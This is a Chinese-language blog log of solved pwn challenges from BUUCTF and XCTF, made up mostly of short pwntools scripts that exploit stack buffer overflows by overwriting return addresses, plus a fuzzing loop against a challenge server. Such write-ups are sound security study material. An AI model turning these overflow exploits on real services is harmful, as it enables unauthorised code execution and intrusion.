BUUCTF | pwn 刷題記錄


BUUCTF | test_your_nc

BUUCTF | rip

從IDA和遠程的鏈接可以看出問題,IDA(或者說在本地跑時,先接收一句話,后輸入點),而遠程的輸入點提前了,所以寫腳本時要注意

問題解決:ret+1

參考

http://blog.eonew.cn/archives/958

  from pwn import *
  #context.log_level='debug'


  p = remote('node3.buuoj.cn', 28164)

  #p = process('/pwn1')



  payload = 'a' * (0xf + 8) + p64(0x401186+1)

  p.sendline(payload)

  p.interactive()

BUUCTF | warmup_csaw_2016

checksec 沒有任何保護

  from pwn import *
  context.log_level='debug'
  p = remote('node3.buuoj.cn', 26028)
  #p =process('./warmup_csaw_2016')
  p.recvuntil('\n')
  p.recvuntil('WOW:')
  a=p.recvuntil('\n').strip('\n')
  b=int(a,16)

  payload = 'a' * (0x40 + 8) + p64(b)      
  p.send(payload)
  p.interactive()

xctf | warmup

腳本參考

#coding:utf8

from pwn import *
# context.log_level = 'debug'

def send_fuzz(p, num, type):
	payload = 'A'*num
	if type == 1:
		payload += p32(addr)
	if type == 2:
		payload += p64(addr)
	p.sendlineafter('>', payload)



def main():
	for i in range (0x100):
		for j in range(3):
			p = remote("220.249.52.133",32497)  
			try:
				send_fuzz(p, i+1, j)
				r = p.recv()
				print('recv::length='+ str(len(r)) +',content=\''+r+'\'\n')
				p.interactive()

			except:  
				p.close()

def get_addr():
	p = remote("220.249.52.133",32497)  
	p.recvuntil('\n')
  	p.recvuntil('WOW:')
  	a=p.recvuntil('\n').strip('\n')
  	num=int(a,16)
  	return num
addr=get_addr()
main()

BUUCTF | pwn1_sctf_2016

這種方法類似是對'I'進行過濾定向替換成'you'(想起了服務器對>以及php發的過濾,有點跑題),這種替換回填這解決了我們的棧空間控制問題,輸入的少,但轉化之后控制的多

0x3c=48+12=60=>20*3(基於'I'=》'you') 20*'I'+'bbbb'+ret滿足輸入的個數,這樣構造即可

from pwn import *
#context.log_level='debug'
#p=process('./pwn1_sctf_2016')
p=remote("node3.buuoj.cn",25348)
#p.recvuntil('Tell me something about yourself: ')  //遠端測試后是先接收后輸出

addr=0x08048f0d
payload=20*'I'+'bbbb'+p32(addr)
p.sendline(payload)
p.interactive()

在線的類IDA

官網

其實是一個在線的反編譯軟件,感興趣的可以試試,界面真的很好,但是功能上還是IDA香

https://binary.ninja/demo/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM